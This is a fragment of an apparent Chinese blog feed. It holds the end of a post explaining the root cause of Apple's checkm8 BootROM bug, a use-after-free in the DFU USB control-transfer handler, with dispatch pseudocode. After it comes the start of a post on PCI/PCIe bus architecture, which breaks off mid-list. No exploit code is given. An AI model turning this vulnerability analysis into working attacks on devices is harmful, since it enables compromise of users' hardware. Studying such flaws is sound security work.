&lt;p&gt;checkm8 漏洞就不用过多介绍了，曾经的神洞，影响了一系列苹果设备，存在于 BootROM 中，不可通过软件更新来修复，一度 Make iOS Jailbreak Great Again。当然现在可以通过 SEP 的检查来对该漏洞进行缓解，这是后话。&lt;&#x2F;p&gt;
&lt;p&gt;关于 checkm8 的分析已经有很多了，我们就不再鹦鹉学舌，更多是通过 checkm8 的成因，来从漏洞角度加深对 USB device 开发的理解。&lt;&#x2F;p&gt;
&lt;p&gt;checkm8 漏洞发生在苹果的救砖模式 DFU (Device Firmware Upgrade)，即通过 USB 向苹果设备刷机的协议。该协议是基于 USB 协议的一个拓展，具体来说:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;基于 USB Control Transfer&lt;&#x2F;li&gt;
&lt;li&gt;bmRequestType[6:5] 为 0x20，即 &lt;strong&gt;Type&lt;&#x2F;strong&gt; 为 Class&lt;&#x2F;li&gt;
&lt;li&gt;bmRequestType[4:0] 为 0x01，即 &lt;strong&gt;Recipient&lt;&#x2F;strong&gt; 为 Interface&lt;&#x2F;li&gt;
&lt;li&gt;bRequest 为 DFU 相关操作，比如 Detach、Download、Upload、GetStatus、Abort 等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;DFU 接口初始化的代码片段如下:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;usb-protocol&#x2F;dfu-interface-init-code.png&quot; alt=&quot;dfu.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Control Transfer 主要是在 ep0 上传输，因此 ep0 的读写回调中就会根据收到的数据来派发到不同的 handler，对于 DFU 协议的分发伪代码如下:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;static byte *data_buf;
static size_t data_rcvd;
static size_t data_size;
static struct usb_ctrlrequest setup_request;

void handle_ctr_transfer_recv(byte *buf, int len, int *p_stage, int is_setup) {
  *p_stage = 0;
  if (!is_setup) {
    handle_data_recv(buf, len, p_stage);
  }
  &amp;#x2F;&amp;#x2F; handle control request
  memcpy(&amp;amp;setup_request, buf, 8);
  switch(setup_request.bRequestType &amp;amp; 0x60) {
    case STANDARD:
      &amp;#x2F;&amp;#x2F; ...
    case VENDOR:
      &amp;#x2F;&amp;#x2F; ...
    case CLASS:
      if (setup_request.bRequestType &amp;amp; 0x1f == INTERFACE) {
        int n = intf_handlers[setup_request.wIndex]-&amp;gt;handle_request(&amp;amp;setup_request, &amp;amp;data_buf);
        if (n &amp;gt; 0) {
          data_size = n;
        }
      }
    default:
    &amp;#x2F;&amp;#x2F; ...
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 intf_handlers 是 usb_core_regisger_interface 函数中添加到的的全局函数数组。handle_reuqest 中传入的是一个指针的指针，并在处理函数中复制为 io_buffer 的地址。而开头的 data stage 阶段，内部实现就是将收到的数据拷贝到 data_buf 即 io_buffer 中。&lt;&#x2F;p&gt;
&lt;p&gt;io_buffer 一直是有效的吗？并不尽然，因为 io_buffer 在 DFU 退出阶段会被 free 释放掉，此后 data_buf 仍然持有着无效指针，就构成了一个典型的 UAF 场景，这正是 checkm8 的漏洞所在。至于如何触发以及如何构造利用，可以需要额外的篇幅去进行介绍，感兴趣的朋友可以参考文末的文章。&lt;&#x2F;p&gt;
&lt;p&gt;从 checkm8 漏洞中我们可以看到出现漏洞的根本成因:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;大量使用全局变量&lt;&#x2F;li&gt;
&lt;li&gt;在处理 USB 内部状态机出现异常时，没有充分清除全局变量的值，比如只将 io_buffer 置零而没有将 data_buf 置零&lt;&#x2F;li&gt;
&lt;li&gt;在重新进入状态机时，全局变量仍然有残留，导致进入异常状态或者处理异常数据&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;网上有人评论说这么简单的漏洞为什么没有通过自动化测试发现出来，个人感觉这其实涉及到模糊测试的两大难题:&lt;&#x2F;p&gt;
&lt;p&gt;一是针对 stateful 的数据测试，每增加一种内部状态，测试的分支就成指数级别增长，从而增加了控制流覆盖到目标代码的难度；&lt;&#x2F;p&gt;
&lt;p&gt;二是硬件依赖，要测试这个 USB 状态机，需要 mock 出底层的驱动接口，工作量和写一个新的 USB 驱动差不多，更不用说 DFU 本身还会涉及存储设备的读写，这部分接口是不是也要模拟？&lt;&#x2F;p&gt;
&lt;p&gt;因此这类漏洞的更多是通过代码审计发现出来，不过厂商又执着于 &lt;strong&gt;Security by Obsecurity&lt;&#x2F;strong&gt;，这就导致投入的更多是利益驱动的组织，对个人用户安全而言并不算是件好事。如果 iBoot 开源，那么估计这个漏洞早就被提交给苹果 SRC，成本也就几千欢乐豆的事，也不至于闹出这么大的舆情，甚至以 checkm8 为跳板，把 SEPOS 也撸了个遍。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hou-ji&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;本文是最近对 USB 相关的一些学习记录，虽然文章是从前往后写的，但实际研究却是从后往前做的。即先看到了网上分析 checkm8 的文章，为了复现去写一个 USB 设备，然后再去学习 USB 协议的细节，可以算是个 Leaning By Hacking 的案例吧。个人感觉这种方式前期较为痛苦，但后期将点连成线之后还是挺醍醐灌顶的，也算是一种值得推荐的研究方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.beyondlogic.org&#x2F;usbnutshell&#x2F;usb1.shtml&quot;&gt;USB in a NutShell&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;elinux.org&#x2F;images&#x2F;a&#x2F;ae&#x2F;Ott--usb_and_the_real_world.pdf&quot;&gt;USB and the Real World&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pyusb&#x2F;pyusb&#x2F;blob&#x2F;master&#x2F;docs&#x2F;tutorial.rst&quot;&gt;pyusb&#x2F;pyusb&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;html&#x2F;v4.18&#x2F;driver-api&#x2F;usb&#x2F;index.html&quot;&gt;Linux USB API&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.elinux.org&#x2F;images&#x2F;e&#x2F;ef&#x2F;USB_Gadget_Configfs_API_0.pdf&quot;&gt;Kernel USB Gadget Configfs Interface&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;habr.com&#x2F;en&#x2F;company&#x2F;dsec&#x2F;blog&#x2F;472762&#x2F;&quot;&gt;Technical analysis of the checkm8 exploit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【原创】Linux PCI驱动框架分析（一）</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-01-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/原创-linux-pci驱动框架分析-一/"/>
        <id>https://vercel.juzhong.asia/obsidian/原创-linux-pci驱动框架分析-一/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/原创-linux-pci驱动框架分析-一/">&lt;h1 id=&quot;yuan-chuang-linux-pciqu-dong-kuang-jia-fen-xi-yi&quot;&gt;【原创】Linux PCI驱动框架分析（一）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Read the fucking source code!&lt;&#x2F;code&gt;  --By 鲁迅&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A picture is worth a thousand words.&lt;&#x2F;code&gt; --By 高尔基&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;说明：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Kernel版本：4.14&lt;&#x2F;li&gt;
&lt;li&gt;ARM64处理器&lt;&#x2F;li&gt;
&lt;li&gt;使用工具：Source Insight 3.5， Visio&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;1-gai-shu&quot;&gt;1. 概述&lt;&#x2F;h2&gt;
&lt;p&gt;从本文开始，将会针对PCIe专题来展开，涉及的内容包括：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;PCI&#x2F;PCIe总线硬件；&lt;&#x2F;li&gt;
&lt;li&gt;Linux PCI驱动核心框架；&lt;&#x2F;li&gt;
&lt;li&gt;Linux PCI Host控制器驱动；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;不排除会包含PCIe外设驱动模块，一切随缘。&lt;&#x2F;p&gt;
&lt;p&gt;作为专题的第一篇，当然会先从硬件总线入手。
进入主题前，先讲点背景知识。
在PC时代，随着处理器的发展，经历了几代I&#x2F;O总线的发展，解决的问题都是CPU主频提升与外部设备访问速度的问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;第一代总线包含&lt;code&gt;ISA&lt;&#x2F;code&gt;、&lt;code&gt;EISA&lt;&#x2F;code&gt;、&lt;code&gt;VESA&lt;&#x2F;code&gt;和&lt;code&gt;Micro Channel&lt;&#x2F;code&gt;等；&lt;&#x2F;li&gt;
&lt;li&gt;第二代总线包含&lt;code&gt;PCI&lt;&#x2F;code&gt;、&lt;code&gt;AGP&lt;&#x2F;code&gt;、&lt;code&gt;PCI-X&lt;&#x2F;code&gt;等；&lt;&#x2F;li&gt;
&lt;li&gt;第三代总线包含&lt;code&gt;PCIe&lt;&#x2F;code&gt;、&lt;code&gt;mPCIe&lt;&#x2F;code&gt;、&lt;code&gt;m.2&lt;&#x2F;code&gt;等；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;PCIe（PCI Express）&lt;&#x2F;code&gt;是目前PC和嵌入式系统中最常用的高速总线，PCIe在PCI的基础上发展而来，在软件上PCIe与PCI是后向兼容的，PCI的系统软件可以用在PCIe系统中。&lt;&#x2F;p&gt;
&lt;p&gt;本文会分两部分展开，先介绍PCI总线，然后再介绍PCIe总线，方便在理解上的过渡，开始旅程吧。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-pci-local-bus&quot;&gt;2. PCI Local Bus&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;2-1-pcizong-xian-zu-cheng&quot;&gt;2.1 PCI总线组成&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PCI总线（Peripheral Component Interconnect，外部设备互联）&lt;&#x2F;code&gt;，由Intel公司提出，其主要功能是连接外部设备；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PCI Local Bus&lt;&#x2F;code&gt;，PCI局部总线，局部总线技术是PC体系结构发展的一次变革，是在&lt;code&gt;ISA总线&lt;&#x2F;code&gt;和&lt;code&gt;CPU总线&lt;&#x2F;code&gt;之间增加的一级总线或管理层，可将一些高速外设，如图形卡、硬盘控制器等从&lt;code&gt;ISA总线&lt;&#x2F;code&gt;上卸下，而通过局部总线直接挂接在CPU总线上，使之与高速&lt;code&gt;CPU总线&lt;&#x2F;code&gt;相匹配。PCI总线，指的就是&lt;code&gt;PCI Local Bus&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;先来看一下PCI Local Bus的系统架构图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-local-bus-architecture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从图中看，与PCI总线相关的模块包括：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Host Bridge&lt;&#x2F;code&gt;，比如PC中常见的&lt;code&gt;North Bridge（北桥）&lt;&#x2F;code&gt;；
图中处理器、Cache、内存子系统通过Host Bridge连接到PCI上，Host Bridge管理PCI总线域，是联系处理器和PCI设备的桥梁，完成处理器与PCI设备间的数据交换。其中数据交换，包含&lt;code&gt;处理器访问PCI设备的地址空间&lt;&#x2F;code&gt;和&lt;code&gt;PCI设备使用DMA机制访问主存储器&lt;&#x2F;code&gt;，在PCI设备用DMA访问存储器时，会存在Cache一致性问题，这个也是Host Bridge设计时需要考虑的；
此外，Host Bridge还可选的支持仲裁机制，热插拔等；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PCI Local Bus&lt;&#x2F;code&gt;；
PCI总线，由Host Bridge或者PCI-to-PCI Bridge管理，用来连接各类设备，比如声卡、网卡、IDE接口等。可以通过PCI-to-PCI Bridge来扩展PCI总线，并构成多级总线的总线树，比如图中的&lt;code&gt;PCI Local Bus #0&lt;&#x2F;code&gt;和&lt;code&gt;PCI Local Bus #1&lt;&#x2F;code&gt;两条PCI总线就构成一颗总线树，同属一个总线域；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PCI-To-PCI Bridge&lt;&#x2F;code&gt;；
&lt;code&gt;PCI桥&lt;&#x2F;code&gt;，用于扩展PCI总线，使采用PCI总线进行大规模系统互联成为可能，管理下游总线，并转发上下游总线之间的事务；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PCI Device&lt;&#x2F;code&gt;；
PCI总线中有三类设备：PCI从设备，PCI主设备，桥设备。
PCI从设备：被动接收来自Host Bridge或者其他PCI设备的读写请求；
PCI主设备：可以通过总线仲裁获得PCI总线的使用权，主动向其他PCI设备或主存储器发起读写请求；
桥设备：管理下游的PCI总线，并转发上下游总线之间的总线事务，包括&lt;code&gt;PCI桥&lt;&#x2F;code&gt;、&lt;code&gt;PCI-to-ISA桥&lt;&#x2F;code&gt;、&lt;code&gt;PCI-to-Cardbus桥&lt;&#x2F;code&gt;等。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;2-2-pcizong-xian-xin-hao-ding-yi&quot;&gt;2.2 PCI总线信号定义&lt;&#x2F;h2&gt;
&lt;p&gt;PCI总线是一条共享总线，可以挂接多个PCI设备，PCI设备通过一系列信号与PCI总线相连，包括：地址&#x2F;数据信号、接口控制信号、仲裁信号、中断信号等。如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-bus-signal-definition.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;左侧红色框里表示的是PCI总线必需的信号，而右侧蓝色框里表示的是可选的信号；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AD[31:00]&lt;&#x2F;code&gt;：地址与数据信号复用，在传送时第一个时钟周期传送地址，下一个时钟周期传送数据；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;C&#x2F;BE[3:0]#&lt;&#x2F;code&gt;：PCI总线命令与字节使能信号复用，在地址周期中表示的是PCI总线命令，在数据周期中用于字节选择，可以进行单字节、字、双字访问；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;PAR&lt;&#x2F;code&gt;：奇偶校验信号，确保&lt;code&gt;AD[31:00]&lt;&#x2F;code&gt;和&lt;code&gt;C&#x2F;BE[3:0]#&lt;&#x2F;code&gt;传递的正确性；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Interface Control&lt;&#x2F;code&gt;：接口控制信号，主要作用是保证数据的正常传递，并根据PCI主从设备的状态，暂停、终止或者正常完成总线事务：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FRAME#&lt;&#x2F;code&gt;：表示PCI总线事务的开始与结束；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;IRDY#&lt;&#x2F;code&gt;：信号由PCI主设备驱动，信号有效时表示PCI主设备数据已经ready；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TRDY#&lt;&#x2F;code&gt;：信号由目标设备驱动，信号有效时表示目标设备数据已经ready；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;STOP#&lt;&#x2F;code&gt;：目标设备请求主设备停止当前总线事务；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;DEVSEL#&lt;&#x2F;code&gt;：PCI总线的目标设备已经准备好；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;IDSEL&lt;&#x2F;code&gt;：PCI总线在配置读写总线事务时，使用该信号选择PCI目标设备；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Arbitration&lt;&#x2F;code&gt;：仲裁信号，由&lt;code&gt;REQ#&lt;&#x2F;code&gt;和&lt;code&gt;GNT#&lt;&#x2F;code&gt;组成，与PCI总线的仲裁器直接相连，只有PCI主设备需要使用该组信号，每条PCI总线上都有一个总线仲裁器；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Error Reporting&lt;&#x2F;code&gt;：错误信号，包括&lt;code&gt;PERR#&lt;&#x2F;code&gt;奇偶校验错误和&lt;code&gt;SERR&lt;&#x2F;code&gt;系统错误；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;System&lt;&#x2F;code&gt;：系统信号，包括时钟信号和复位信号；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;看一下&lt;code&gt;C&#x2F;BE[3:0]&lt;&#x2F;code&gt;都有哪些命令吧：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-bus-command-list.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-pcishi-wu-mo-xing&quot;&gt;2.3 PCI事务模型&lt;&#x2F;h2&gt;
&lt;p&gt;PCI使用三种模型用于数据的传输：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-transaction-models.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Programmed I&#x2F;O&lt;&#x2F;code&gt;：通过IO读写访问PCI设备空间；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;DMA&lt;&#x2F;code&gt;：PIO的方式比较低效，DMA的方式可以直接去访问主存储器而无需CPU干预，效率更高；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Peer-to-peer&lt;&#x2F;code&gt;：两台PCI设备之间直接传送数据；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;2-4-pcizong-xian-di-zhi-kong-jian-ying-she&quot;&gt;2.4 PCI总线地址空间映射&lt;&#x2F;h2&gt;
&lt;p&gt;PCI体系架构支持三种地址空间：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-address-space-types.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;memory空间&lt;&#x2F;code&gt;：
针对32bit寻址，支持4G的地址空间，针对64bit寻址，支持16EB的地址空间；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;I&#x2F;O空间&lt;&#x2F;code&gt;
PCI最大支持4G的IO空间，但受限于x86处理器的IO空间（16bits带宽），很多平台将PCI的IO地址空间限定在64KB；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;配置空间&lt;&#x2F;code&gt;
x86 CPU可以直接访问&lt;code&gt;memory空间&lt;&#x2F;code&gt;和&lt;code&gt;I&#x2F;O空间&lt;&#x2F;code&gt;，而配置空间则不能直接访问；
每个PCI功能最多可以有256字节的配置空间；
PCI总线在进行配置的时候，采用ID译码方式，使用设备的ID号，包括&lt;code&gt;Bus Number&lt;&#x2F;code&gt;，&lt;code&gt;Device Number&lt;&#x2F;code&gt;，&lt;code&gt;Function Number&lt;&#x2F;code&gt;和&lt;code&gt;Register Number&lt;&#x2F;code&gt;，每个系统支持256条总线，每条总线支持32个设备，每个设备支持8个功能，由于每个功能最多有256字节的配置空间，因此总的配置空间大小为：256B * 8 * 32 * 256 = 16M；
有必要再进一步介绍一下配置空间：
x86 CPU无法直接访问配置空间，通过IO映射的数据端口和地址端口间接访问PCI的配置空间，其中地址端口映射到&lt;code&gt;0CF8h - 0CFBh&lt;&#x2F;code&gt;，数据端口映射到&lt;code&gt;0CFCh - 0CFFh&lt;&#x2F;code&gt;；
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-config-address-register.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;图为配置地址寄存器构成，PCI的配置过程分为两步：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;CPU写CF8h端口，其中写的内容如图所示，BUS，Device，Function能标识出特定的设备功能，Doubleword来指定配置空间的具体某个寄存器；&lt;&#x2F;li&gt;
&lt;li&gt;CPU可以IO读写CFCh端口，用于读取步骤1中的指定寄存器内容，或者写入指定寄存器内容。这个过程有点类似于通过I2C去配置外接芯片；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;那具体的配置空间寄存器都是什么样的呢？每个功能256Byte，前边64Byte是Header，剩余的192Byte支持可选功能。有种类型的PCI功能：Bridge和Device，两者的Header都不一样。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bridge
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-bridge-header-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Device
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pci-device-config-header.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;配置空间中有个寄存器字段需要说明一下：&lt;code&gt;Base Address Register&lt;&#x2F;code&gt;，也就是&lt;code&gt;BAR空间&lt;&#x2F;code&gt;，当PCI设备的配置空间被初始化后，该设备在PCI总线上就会拥有一个独立的PCI总线地址空间，这个空间就是&lt;code&gt;BAR空间&lt;&#x2F;code&gt;，&lt;code&gt;BAR空间&lt;&#x2F;code&gt;可以存放IO地址空间，也可以存放存储器地址空间。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PCI总线取得了很大的成功，但随着CPU的主频不断提高，PCI总线的带宽也捉襟见肘。此外，它本身存在一些架构上的缺陷，面临一系列挑战，包括带宽、流量控制、数据传送质量等；&lt;&#x2F;li&gt;
&lt;li&gt;PCIe应运而生，能有效解决这些问题，所以PCIe才是我们的主角；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-pci-express&quot;&gt;3. PCI Express&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;3-1-pcieti-xi-jie-gou&quot;&gt;3.1 PCIe体系结构&lt;&#x2F;h2&gt;
&lt;p&gt;先看一下PCIe架构的组成图：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-architecture-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Root Complex&lt;&#x2F;code&gt;：CPU和PCIe总线之间的接口可能会包含几个模块（处理器接口、DRAM接口等），甚至可能还会包含芯片，这个集合就称为&lt;code&gt;Root Complex&lt;&#x2F;code&gt;，它作为PCIe架构的根，代表CPU与系统其它部分进行交互。广义来说，&lt;code&gt;Root Complex&lt;&#x2F;code&gt;可以认为是CPU和PCIe拓扑之间的接口，&lt;code&gt;Root Complex&lt;&#x2F;code&gt;会将CPU的request转换成PCIe的4种不同的请求（Configuration、Memory、I&#x2F;O、Message）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Switch&lt;&#x2F;code&gt;：从图中可以看出，&lt;code&gt;Swtich&lt;&#x2F;code&gt;提供扇出能力，让更多的PCIe设备连接在PCIe端口上；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Bridge&lt;&#x2F;code&gt;：桥接设备，用于去连接其他的总线，比如PCI总线或PCI-X总线，甚至另外的PCIe总线；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PCIe Endpoint&lt;&#x2F;code&gt;：PCIe设备；&lt;&#x2F;li&gt;
&lt;li&gt;图中白色的小方块代表&lt;code&gt;Downstream&lt;&#x2F;code&gt;端口，灰色的小方块代表&lt;code&gt;Upstream&lt;&#x2F;code&gt;端口；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;前文提到过，PCIe在软件上保持了后向兼容性，那么在PCIe的设计上，需要考虑在PCI总线上的软件视角，比如&lt;code&gt;Root Complex&lt;&#x2F;code&gt;的实现可能就如下图所示，从而看起来与PCI总线相差无异：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;root-complex-implementation.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Root Complex通常会实现一个内部总线结构和多个桥，从而扇出到多个端口上；&lt;&#x2F;li&gt;
&lt;li&gt;Root Complex的内部实现不需要遵循标准，因此都是厂家specific的；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而&lt;code&gt;Switch&lt;&#x2F;code&gt;的实现可能如下图所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-switch-architecture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Switch就是一个扩展设备，所以看起来像是各种桥的连接路由；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-2-pcieshu-ju-chuan-shu&quot;&gt;3.2 PCIe数据传输&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-link-lanes.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;与PCI总线不同（PCI设备共享总线），PCIe总线使用端到端的连接方式，互为接收端和发送端，全双工，基于数据包的传输；&lt;&#x2F;li&gt;
&lt;li&gt;物理底层采用差分信号（PCI链路采用并行总线，而PCIe链路采用串行总线），一条Lane中有两组差分信号，共四根信号线，而PCIe Link可以由多条Lane组成，可以支持1、2、4、8、12、16、32条；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;PCIe规范定义了分层的架构设计，包含三层：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-layered-architecture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Transaction层&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;负责TLP包（&lt;code&gt;Transaction Layer Packet&lt;&#x2F;code&gt;）的封装与解封装，此外还负责QoS，流控、排序等功能；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Data Link层&lt;&#x2F;p&gt;
&lt;ul&gt;
